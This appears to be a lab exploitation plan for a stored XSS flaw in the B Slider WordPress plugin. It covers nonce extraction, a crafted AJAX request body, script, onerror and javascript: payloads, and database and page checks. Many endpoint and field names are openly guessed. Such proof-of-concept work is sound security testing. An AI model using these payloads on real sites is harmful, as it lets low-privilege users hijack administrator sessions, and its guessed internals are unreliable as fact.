Exploitation Research Plan: CVE-2026-24383 (B Slider <= 2.0.6)

1. Vulnerability Summary

The B Slider plugin (versions <= 2.0.6) contains a Stored Cross-Site Scripting (XSS) vulnerability. The flaw exists because the plugin fails to properly sanitize user-supplied data when saving slider configurations and fails to escape that data when rendering the slider on the frontend. Authenticated users with Contributor permissions or higher can exploit this to inject malicious JavaScript into sliders, which then executes in the browser of any user (including administrators) who views the affected page.

2. Attack Vector Analysis

• Endpoint: WordPress AJAX API (/wp-admin/admin-ajax.php) or the Custom Post Type (CPT) editor.
• Vulnerable Action (Inferred): The plugin likely uses a wp_ajax_save_bslider or similar AJAX action to store slider settings, or relies on standard save_post hooks for a bslider CPT.
• HTTP Parameter: Likely fields such as slide_title, slide_description, button_text, or custom_css.
• Authentication: Authenticated (Contributor+).
• Preconditions: The "B Slider" plugin must be active. The attacker needs a valid Contributor-level account.

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX handler via add_action('wp_ajax_...', ...) or a meta box save handler.
2. Processing: The handler receives slider data (e.g., via $_POST['slider_data']).
3. Sink (Storage): The code calls update_post_meta() or $wpdb->insert() without passing the input through sanitize_text_field() or wp_kses().
4. Source (Output): When a user views a page containing the [b-slider id="..."] shortcode, the plugin retrieves the stored data using get_post_meta().
5. Sink (Rendering): The plugin echoes the raw metadata into the HTML output without using esc_html(), esc_attr(), or wp_kses().

4. Nonce Acquisition Strategy

To interact with the AJAX handlers or the editor, a valid WordPress nonce is typically required.

1. Identify Shortcode: The primary shortcode is likely [b-slider].
2. Create Test Page:

   wp post create --post_type=page --post_status=publish --post_title="Slider Test" --post_content='[b-slider]'
   

3. Navigate and Extract:
   • Navigate to the newly created page.
   • The plugin likely enqueues scripts using wp_localize_script.
   • Search for Localization Key (Inferred): Look for bslider_vars, bs_ajax_obj, or similar.
   • Action: Use browser_eval to find the nonce:

     // Hypothetical variable names based on common plugin patterns
     window.bslider_admin?.nonce || window.bs_vars?.nonce
     

   • If the exploit is via the post editor (CPT), the nonce will be in the #_wpnonce hidden input field on the post-new.php?post_type=bslider page.

5. Exploitation Strategy

The goal is to store a payload that executes when the slider is viewed.

Step 1: Create a Slider (Post Meta Injection)

If the plugin uses a Custom Post Type bslider:

1. Log in as a Contributor.
2. Navigate to wp-admin/post-new.php?post_type=bslider (inferred slug).
3. Inject the payload into a metadata field (e.g., Slide Title).

Payload:
"><script>alert(document.domain)</script>

Step 2: AJAX Injection (If applicable)

If the plugin uses a custom AJAX saver:

• Request URL: https://target.example.com/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Body (Inferred):

  action=bslider_save_settings&
  nonce=[EXTRACTED_NONCE]&
  slider_id=[ID]&
  slide_content[0][title]=<img src=x onerror=alert(1)>&
  slide_content[0][link]=javascript:alert(2)
  

Step 3: Triggering

1. Identify the ID of the created slider.
2. Add [b-slider id="ID"] to a public post or page.
3. Visit that page as an Administrator.

6. Test Data Setup

1. Plugin: Install and activate b-slider version 2.0.6.
2. User: Create a user attacker with the contributor role.
3. Target Content: Create a public post where the slider shortcode can be embedded.

7. Expected Results

• The malicious payload should be saved to the database without being stripped.
• When the page with the slider is loaded, the browser should render:
  <div class="slide-title"><img src=x onerror=alert(1)></div> (or similar).
• An alert box should appear in the Administrator's browser context.

8. Verification Steps

1. Check Database:

   wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = '_bslider_data' AND meta_value LIKE '%<script>%';"
   

2. Check Frontend Output:

   # Navigate to the page with the slider and check for the unescaped script
   http_request GET "https://target.example.com/slider-page/" | grep "<script>alert"
   

9. Alternative Approaches

• Link Injection: If the slider allows "Button Links," test javascript:alert(1) in the URL field. Many plugins escape HTML but forget to use esc_url() on links.
• CSS Injection: If there is a "Custom CSS" field for the slider, attempt to use expression() (for older IE) or background-image: url("javascript:...") to trigger JS execution in vulnerable contexts.
• Shortcode Attribute XSS: Try [b-slider title='<script>alert(1)</script>']. If the shortcode handler echoes the title attribute directly, it's a Reflected/Stored XSS via the post content.